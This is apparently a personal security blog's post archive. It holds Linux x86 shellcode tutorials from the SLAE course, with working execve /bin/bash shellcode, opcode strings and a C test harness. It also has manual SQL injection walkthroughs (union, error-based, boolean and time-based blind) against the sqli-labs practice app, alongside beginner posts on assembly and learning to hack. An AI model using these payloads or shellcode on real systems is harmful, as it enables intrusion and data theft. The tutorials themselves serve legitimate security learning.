Shellcoding Linux x86 STACK technique (3/3)

Hello, in this post I will explain how to use execve syscall in a shellcode using the stack technique, the purpose of this shellcode is the same as the last shellcode from the previous post. As I told you in that article, I’m currently studying SLAE certification, and this is a part of the great content of the course.

In this case, we are going to save the data in the stack before moving it to the registers. The data should be saved as multiple of four to get it from the stack using push method.

As you can see the string “/bin/bash” is not a multiple of 4, so we are going to change it to: “////bin/bash”.

The structure that is going to have the stack will be like this, from low memory to high memory:

ECX [////bin/bash address], EDX [0x00000000], EBX ["////bin/bash"], EAX [0x00000000] 

1) EAX register:

xor eax, eax
push eax

2) EBX will store the “////bin/bash” string. The first thing we need to do is to convert this string to hex, to do this we can use this tool that Vivek Ramachandran shows in the course:

#!/usr/bin/python

import sys
input = sys.argv[1]

print 'String length : ' +str(len(input))
stringList = [input[i:i+4] for i in range(0, len(input), 4)]

for item in stringList[::-1] :
	print item[::-1] + ' : ' + str(item[::-1].encode('hex'))

You can see in the image below how I used the script to convert the string to hex and put it in the inverse order.

To save this to the stack we need to do 3 pushes, and after we should save the top of the stack to ebx.

push 0x68736162
push 0x2f6e6962
push 0x2f2f2f2f
mov ebx, esp

3) A null to EDX

push eax
mov edx, esp

4) ECX needs to contain the address of the string

push ebx,
mov ecx, esp

5) Invoke the syscall

mov al, 11
int 0x80

This is the final Assembly code:

; Filename: execve-stack.nasm
; Author:  Vivek Ramachandran
; Website:  https://www.pentesteracademy.com
; Student: Xavi Bel

global _start			

section .text
_start:

	xor eax, eax
	push eax

	push 0x68736162
	push 0x2f6e6962
	push 0x2f2f2f2f

	mov ebx, esp

	push eax
	mov edx, esp

	push ebx,
	mov ecx, esp

	mov al, 11
	int 0x80

I hope this could be useful for someone. See you! 🙂

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

Shellcoding Linux x86 JMP-CALL-POP technique (2/3)

Following the last article content, we are going to pop a shell instead of printing Hello World in the screen. To do this we are going to use the Execve syscall. This syscall allows us to execute a new program within the shellcode.

Using man execve we can see what parameters does it need.

As you see in the man image, it needs 3 parameters:

  • Parameter 1: Filename: “/bin/bash”, 0x0
  • Parameter 2: Address of /bin/bash, 0x00000000
  • Parameter 3: 0x00000000

If you followed the last post of this blog, you already know what is the JMP-CALL-POP technique. In this case we are going to use it, just to be clear I copy below just the part of the shellcode that is using that technique.

global _start			

section .text
_start:
	jmp short call_shellcode

shellcode:
	pop esi
        ...

call_shellcode:
	call shellcode	
	; A=0 B=address of /bin/bash C=0x00000000
	message db "/bin/bashABBBBCCCC"

Before continuing with the shellcode creation, I’m going to stop here, to remember some Assembly instructions that are going to be useful in this particular case.

mov eax, message ; move address into eax
mov eax, [message] ; move value into eax
mov dword [esi, +10], bl ; move from register into memory starting in position 10
; lea = load efective address = load pointer value
lea ebx, [esi]

Now that we already have a clear scheme of JMP-CALL-POP technique and we refreshed some Assembly instructions, let’s focus in understand how we are going to modify the message string to contain what we need.

We need to modify 3 parts, the A, the BBBB and the CCCC.

1) Convert A into 0x0

xor ebx, ebx
mov byte [esi +9], bl

2) Convert BBBB to address of “/bin/bash” = ESI

; mov dword because is an address
mov dword [esi +10], esi

3) Convert CCCC into 0x00000000

mov dword [esi +14], ebx

Now that we have our message string already prepared, we need to prepare EAX, EBX, ECX and EDX to be able to run execve syscall.

4) EBX must contain the filename

lea ebx, [esi]

5) ECX should be the address of /bin/bash

lea ecx, [esi +10]

6) EDX is null

lea edx, [esi +14]

7) EAX has to contain the syscall number. We can check it in this file:

So EAX needs to be 11, 0xb in hexadecimal

xor eax, eax
mov al, 0xb

The final thing is to invoke the syscall using 0x80. In this call we don’t need to use an exit syscall, it’s exlained in the man page of execve.

Here is the final code:

; Filename: execve.nasm
; Author:  Vivek Ramachandran
; Website:  https://www.pentesteracademy.com
; Student: Xavi Bel

global _start			

section .text
_start:
	jmp short call_shellcode

shellcode:
	pop esi

	xor ebx, ebx
	mov byte [esi +9], bl
	mov dword [esi +10], esi
	mov dword [esi +14], ebx

	lea ebx, [esi]
	lea ecx, [esi +10]
	lea edx, [esi +14]
	xor eax, eax
	mov al, 0xb
	int 0x80

call_shellcode:
	call shellcode	
	; A=0 B=address of /bin/bash C=0x00000000
	message db "/bin/bashABBBBCCCC"

We extract the shellcode using objdump with the beautiful greps and seds command:

objdump -d ./execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

We put the shellcode inside this little c program:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x1a\x5e\x31\xdb\x88\x5e\x09\x89\x76\x0a\x89\x5e\x0e\x8d\x1e\x8d\x4e\x0a\x8d\x56\x0e\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

And we compile it:

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Finally, when we execute it, we are generating another /bin/bash process.

Doing a small modification of the code, when can use /bin/sh instead:

I hope you liked it. See you!

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

Shellcoding Linux x86 JMP-CALL-POP technique (1/3)

Currently I’m studying SLAE certification of Pentester Academy and I found a really interesting video that explained this technique. I’m going to follow the course instructions step by step and try to explain it here the best as I can. By the way, I totally recommend this course, everything is really well explained and the content is really good.

So, following the SLAE topics, in this second article related with Assembly I am going to explain how to develop a small shellcode that prints “Hello World!” in the screen. In the last blog post, I already showed you how to write a Hello World, but to convert this into a shellcode we have 2 restrictions:


1) We can not have any 0x00 instructions. This are null bytes and usually break our shellcode execution.


2) We can not use any hard coded addresses. Our code should be able to run in different computer and programs, and the addresses need to be generated dynamically.

We start from this code:

; HelloWorld.nasm
; Author:  Vivek Ramachandran
; Website:  https://www.pentesteracademy.com
; Student: Xavi Bel

global _start

section .text

_start:

	; write syscall
	mov eax, 0x4
	mov ebx, 0x1
	mov ecx, message
	mov edx, mlen
	int 0x80

	; exit syscall
	mov eax, 0x1
	mov ebx, 0x0
	int 0x80

section .data

	message: db "Hello World!"
	mlen equ $-message

So let’s check if our code contains any null values or hard coded addresses. To do this we can use objdump utility:

objdump -d HelloWorldShellcode -M intel

So we have both problems, we have a lot of null bytes and the memory address of the “Hello World!” string.

Let’s start removing the null bytes, to do that we need to modify all the mov instructions that generated null bytes to equivalent instructions.

The way to do this is the following:
When we use an xor operation between the same values, the result is always zero. There is another thing that we need to know, the register EAX, can be segmented in AH(High) and AL(Low), please watch the image below, So we can mov a 4 into AL.

So instead of:

mov eax, 0x4

We can do:

xor eax, eax
mov al, 0x4

We can repeat this process for all the mov instructions that generated a 0x00.

Once we do that, we need to fix the other problem, the hard coded address of the variable message. I will explain what we are going to do: first we are going to move the array declaration inside the data segment, after that we are going to create a jmp to a procedure named call_shellcode, this procedure will contain two lines, the first one is a call shellcode, and the second one is the message, so once the call shellcode instruction will be executed, the direction of message will be saved in ecx register and we fix the original problem.

So, being squematic, the code will have this structure:

jmp short call_shellcode

shellcode:
   ...
   ...
   pop ecx ; So now the memory address of message is saved in ecx
   ...
   ...

call_shellcode:
   call shellcode
   message: db "Hello World!", 0xA

Doing this we are going to fix the 2 problems and now our shellcode is going to work correctly.

Here is the final code:

; HelloWorldShellcode.nasm
; Author:  Vivek Ramachandran
; Website:  https://www.pentesteracademy.com
; Student: Xavi Bel

global _start

section .text

_start:
jmp short call_shellcode

shellcode:

	pop ecx;
	
	; write syscall
	xor eax, eax
	mov al, 0x4

	xor ebx, ebx
	mov bl, 0x1	

	
	mov edx, 13
	int 0x80

	; exit syscall
	xor eax, eax
	mov al, 0x1

	xor ebx, ebx

	int 0x80


call_shellcode:
	call shellcode
	message: db "Hello World!", 0xA

Now we can extract the instructions using objdump:

objdump -d ./HelloWorldShellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

And we can verify, that we have not any null bytes.

Now using this small C program we can verify ir our shellcode works:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x18\x59\x31\xc0\xb0\x04\x31\xdb\xb3\x01\xba\x0d\x00\x00\x00\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe3\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x0a";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

We compile it using:

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

And it works!

I hope you liked the post, probably I’m going to write a new one soon. See you!

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

Introduction to Assembly

In this article I’m going to write a quick introduction to intel x86 assembly language. We are going to create a program, that is going to print a sentence in the screen.

Before starting programming, we need to know a couple of things, what is a system call, what is the instruction 0x80 and what are assembly registers.

  • A system call, is a the programmatic way in which a computer program request a service from the kernel of the operating system it is executed on.
  • Int 0x80 is the assembly language instruction that is used to invoke system calls in Linux on x86 (i.e., Intel-compatible) processors.
  • Also we need to know what are assembly registers EAX, EBX, ECX, etc. A register store data elements for processing without having to access the memory, and all these are General Purpose registers.

In the image below, you can see the content of the file “/usr/include/i386-linux-gnu/asm/unistd_32.h” that contains all the linux 32 bits system calls.

We can see that the system call write is the number 4. To see in more detail what is this system call and how to use it, we can execute the command “man 2 write”.

This sytem call, needs 3 arguments. To set them to the value that we need, we just have to use the assembly registers:
EAX – 1st argument
EBX – 2nd argument
ECX – 3rd argument
EDX – 4th argument
ESI – 5th argument
EDI – 6th argument

So, lets write “Hello World!” using write syscall:

  • EAX has to be 4, because write is the syscall number 4.
  • EBX, needs to be 1, because we want to write to file descriptor 1, that is stdout.
  • ECX needs to contain the message, in this case the variable message.
  • EDX, needs to contain the length of message, that is 12.
    The last thing we need to do, is to use 0x80 to invoke the system call.

So this is the final code:

; write syscall
mov eax, 0x4
mov ebx, 0x1
mov ecx, message
mov edx, 12
int 0x80

And this will be the full program:

; HelloWorld.asm
; Author: Xavi Beltran

global _start

section .text

_start:

	; write syscall
	mov eax, 0x4
	mov ebx, 0x1
	mov ecx, message
	mov edx, mlen
	int 0x80

	; exit syscall
	mov eax, 0x1
	mov ebx, 0x0
	int 0x80

section .data

	message: db "Hello World!"
	mlen equ $-message

To compile it we must run:
nasm -f elf32 -o HelloWorld.asm -o HelloWorld.o HelloWorld.asm
ld -o HelloWorld HelloWorld.o

And here you can see the execution of the program:

That’s all for the first introduction to assembly language!

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

SQL Injection 4

Time to move on to time-based SQLi.

 

Time based SQLi

The process is almost the same as boolean-based. The thing that changes is the way to identify a true condition. Let’s visit level 9 of sqlilabs.

The way to identify a true condition is using the function sleep:
True) and sleep(10)

Let’s verify that it works properly:
http://192.168.1.11/sqli-labs-master/Less-9/?id=1' and sleep(10) --+

And the web page takes 10 seconds to load:

 

And now we perform the first query, if 1=1 it would wait 10 seconds:
http://192.168.1.11/sqli-labs-master/Less-9/?id=1' and sleep(10) and 1=1 --+

Next step is to extract useful information:
http://192.168.1.11/sqli-labs-master/Less-9/?id=1' and sleep(10) and database()='security' --+

And the way to extract the database name, or anything that we need is using again the substring function.
http://192.168.1.11/sqli-labs-master/Less-9/?id=1' and sleep(10) and substring(database(),1,1)='s' --+

Posted in Hacking Web | Tagged , , , , | Leave a comment

SQL Injection 3

In this article I’m going to explain step by step how you can extract information of a database using a blind boolean based SQLi vulnerability.

 

Blind boolean based SQLi

First of all we need to understand what a boolean statement is. We are going to make queries to the database, and we are going to know if they are true or false.

This is the most basic example:

True: and 1=1
False: and 1=2

Now let’s try it in a lab environment. We are going to move forward to sqlilabs level 8.

First, we are going to verify that the blind boolean SQLi works correctly:
http://192.168.1.11/sqli-labs-master/Less-8/?id=1' and 1=1 --+

And we get a true response:

http://192.168.1.11/sqli-labs-master/Less-8/?id=1' and 1=2 --+

And we get a false response:

 

We can also verify it with letters instead of numbers:
http://192.168.1.11/sqli-labs-master/Less-8/?id=1' and 'a'='a' --+
http://192.168.1.11/sqli-labs-master/Less-8/?id=1' and 'a'='b' --+

 

Now we can do more complex queries, like asking if the database name is correct:
http://192.168.1.11/sqli-labs-master/Less-8/?id=1' and database()='security' --+
http://192.168.1.11/sqli-labs-master/Less-8/?id=1' and database()='lol' --+

 

Normally we won’t know the name of the database. So we are going to use function substring to extract it. Here we are going to ask if the first character of the database is a letter ‘s’.
http://192.168.1.11/sqli-labs-master/Less-8/?id=1' and substring(database(),1,1)='s' --+

 

Database name is “security. So the first letter is an ‘s’, and the statement is true:


http://192.168.1.11/sqli-labs-master/Less-8/?id=1' and substring(database(),1,1)='x' --+

 

Database name doesn’t start with letter x, so it’s false:

 

Then, we are going to ask for the second character and so on.
http://192.168.1.11/sqli-labs-master/Less-8/?id=1'and substring(database(),2,1)='e' --+
http://192.168.1.11/sqli-labs-master/Less-8/?id=1'and substring(database(),2,1)='x' --+

Posted in Hacking Web | Tagged , , , , | Leave a comment

SQL Injection 2

Let’s continue understanding SQL injections. This time we are going to focus on understanding how to exploit more complicated SQL injections manually.

 

Error/Doble Query

To understand Error-based SQLi, we need to start doing lesson 5 and 6 of the sqlilab.

In this case, we can count columns user order by, but we can’t identify any vulnerable parameters to display information.

So, to extract information, we can use a Firefox add-on named hackbar.

 

 

Example 1

If we want to display the version, we select this option and copy it into our payload.

http://192.168.1.11/sqli-labs-master/Less-5/?id=1' +OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1 --+

 

Example 2

Or the database name (Or any other thing that we want):

To extract the database, we need to select the option in hackbar.

And add it to the query.

http://192.168.1.14/sqli-labs-master/Less-6/?id=-1" +AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) --+

Posted in Hacking Web | Tagged , , , , | Leave a comment

SQL Injection 1

Introduction

The purpose of this post is not to teach you how to exploit a SQL Injection vulnerability, if you are just looking for that, just google sqlmap.

In this article I will try to explain to you how SQL injections work, and we are going to exploit a SQL injection manually understanding everything step by step.

All you need to follow this tutorial is to install this application: sqlilab. Also, you can use other similar applications like DVWA, WebGoat, Pentesterlabs, etc.

First of all, let’s start speaking about what an SQL injection vulnerability is. An SQL injection is a computer attack in which malicious code is embedded in a poorly-designed application and then passed to the backend database. The malicious data then produces database query results or actions that should never have been executed.

 

 

Types of SQL Injection:

They can be classified using the injection type:

  • In-band : Error-based, Union-based
  • Blind: Boolean-based, time-based
  • Out-of-band (when an attacker is unable to use the same channel to launch the attack and gather results)

Also, we can classify them using the Injection point:

  • GET based
  • POST based
  • Header based
  • Cookie based

 

Step 1) Identify a SQL injection

We can use this 3 characters to try to identify a SQL injection: ‘ ” \

In the next image you can see a typical MySQL syntax error caused by writing the character \ inside the variable id:

 

Step 2) Fix SQL query

Let’s understand what is happening when we submit a request to the web application.

What is happening in the Front end? a GET request to the resource /sqli-labs-master/Less-1/?id=1
What is happening in the Back end? a SQL query similar to: select id = ‘id’ where name = ‘abc ‘
If we want to balance the query to do not cause an SQL error. We need to respect SQL language restrictions. So to balance the query we need to use:
id=1′ –+

–+ is an sql comment
If it’s a POST request we need to use a space instead of a +.

Then we have our SQL query fixed like this:  ‘ new sql query here –+

 

Step 3) Count columns

We are going to use the function order by to count how many columns has the table involved in the SQL query. When order by gives an error message it means that it has n-1 columns.

http://192.168.1.11/sqli-labs-master/Less-1/?id=1'order by 4--+

In this case it has 3 columns:

 

Step 4) Identify vulnerable columns:

Now, we are going to use union all select functionality of MySQL. We know that there 3 columns. First of all, we use id -1, and then we do the union all select statement. So the SQL Injection would look like:

http://192.168.1.11/sqli-labs-master/Less-1/?id=-1'union all select 1,2,3--+

The parameters 2 and 3 are reflected. So they are vulnerable.

 

 

Step 5) Extract database information:

Last step is use these parameters to extract information. We can use the function database() or user() for example.

http://192.168.1.11/sqli-labs-master/Less-1/?id=-1'union all select 1,database(),user()--+

You can see the database information reflected inside the parameters.

 

In the next post I will show you how to exploit union based, error-based, blind boolean and time-based SQLi.

Posted in Hacking Web | Tagged , , , , | Leave a comment

How to learn to hack?

I guess everyone that works in Infosec world has heard these words: “How can I learn to hack?” or “What I need to learn to be a hacker?”. There are a lot of people that are curious and wants to learn about hacking, but they don’t know how to start. Also, sometimes it comes from people with not good knowledge of IT world, so it makes the answer to these questions a bit more difficult.

First of all, what do you want and why you want to learn to hack? Do you want to start doing Capture The Flags for fun, or do you want to start a professional career? The main difference is that if you want to work in Infosec you may need some certifications. You need to think about what job do you want to get, in this article I will cover what to learn to start working an ethical hacker/pentester.

From my point of view, there are some knowledge that you need if you want to start being a professional. There are more things that you should know. But in this post I will only cover the basics. You will need to know some important things related with Linux, networking, programming and of course about application security.

Linux/Windows
You need to learn about system architecture, structure of files, users, permissions, services, processes and commands. It can be a good exercise to install a Linux distribution like Arch o Gentoo, and start learning how this operating system works. After that, you may like to start playing around with Windows and understand the same topics.

Programming
Once you have a solid knowledge of Linux you can start learning Bash and begin doing your own scripts. Once this is completed, you can focus in learning some Python. You can do some developments to try to automate HTTP requests or DNS requests for example and after you can try to focus in more complex things.

Networking
It’s really important to have at least a solid knowledge of these protocols: TCP/IP and HTTP. It’s important to understand how these protocols works and be able to understand a simple traffic capture. There are a lot of concepts that are important here, from my point of view it is also important to learn concepts about IPS/IDS, firewalls and SIEM.

Web Applications
Here, like in the other topics, there are many thinks that you need to learn, but you can start by learning how HTML and CSS works. After I would recommend you to learn at least 1 client-side language like JavaScript and at least a different server-side language like PHP. In addition, it may be good to learn how Mysql works, or if you want any other type of database.

Related with all these topics you can found some interesting information in this two e-learning platforms
Cybrary
Udemy

Hacking
Once you have all the knowledge listed above, let’s start hacking! You can start doing some Boot2Root machines. I would recommend you 5 boxes:
– Kioptrix 1 to 4.
– DVWA
The first 4 are great boxes for beginners focused in infrastructure hacking (thank you and rest in peace LoneFerret). The last one is focused on Web Application hacking and it may not be so fun, but I think it’s a good resource to learn about web application security.

Vulnhub systems:
Kioptrix 1 to 4
DVWA

Finally, it’s sad but sometimes to get the first job in this sector, at least in my country, you may need some certifications, I would recommend you to start with CEH (Certified Ethical Hacker) from EC-Council. I didn’t do it myself but I have good references about this course.
Certified Ethical Hacker

Last thing I want to tell you, that to “be a hacker” is just be a person ho has a lot of knowledge about IT but also that has the right mindset. You have to learn by yourself, do not expect that someone will guide you, make your own road map and try to achieve your objectives. It may take years to accumulate the knowledge and the experience needed to have a good level in these topics. Try to learn whatever you want that make you think that it may help you, you are never losing your time if you are learning new things.

Posted in Miscellaneous | Tagged , , , , , | Leave a comment

Hello world!

Hello world!

My name is Xavi 🙂 In may of 2016 I had my first Cyber Security job, but I started doing hacking stuff since I was really young.

My best skills are related to Hacking, but I am also not bad in programming. I hope I will write some posts about web application hacking and exploiting.

You can also expect some entries that will contain Infosec certifications reviews, an maybe some personal things, let’s see what I will do in the future!

Posted in Miscellaneous | Tagged , , , , | Leave a comment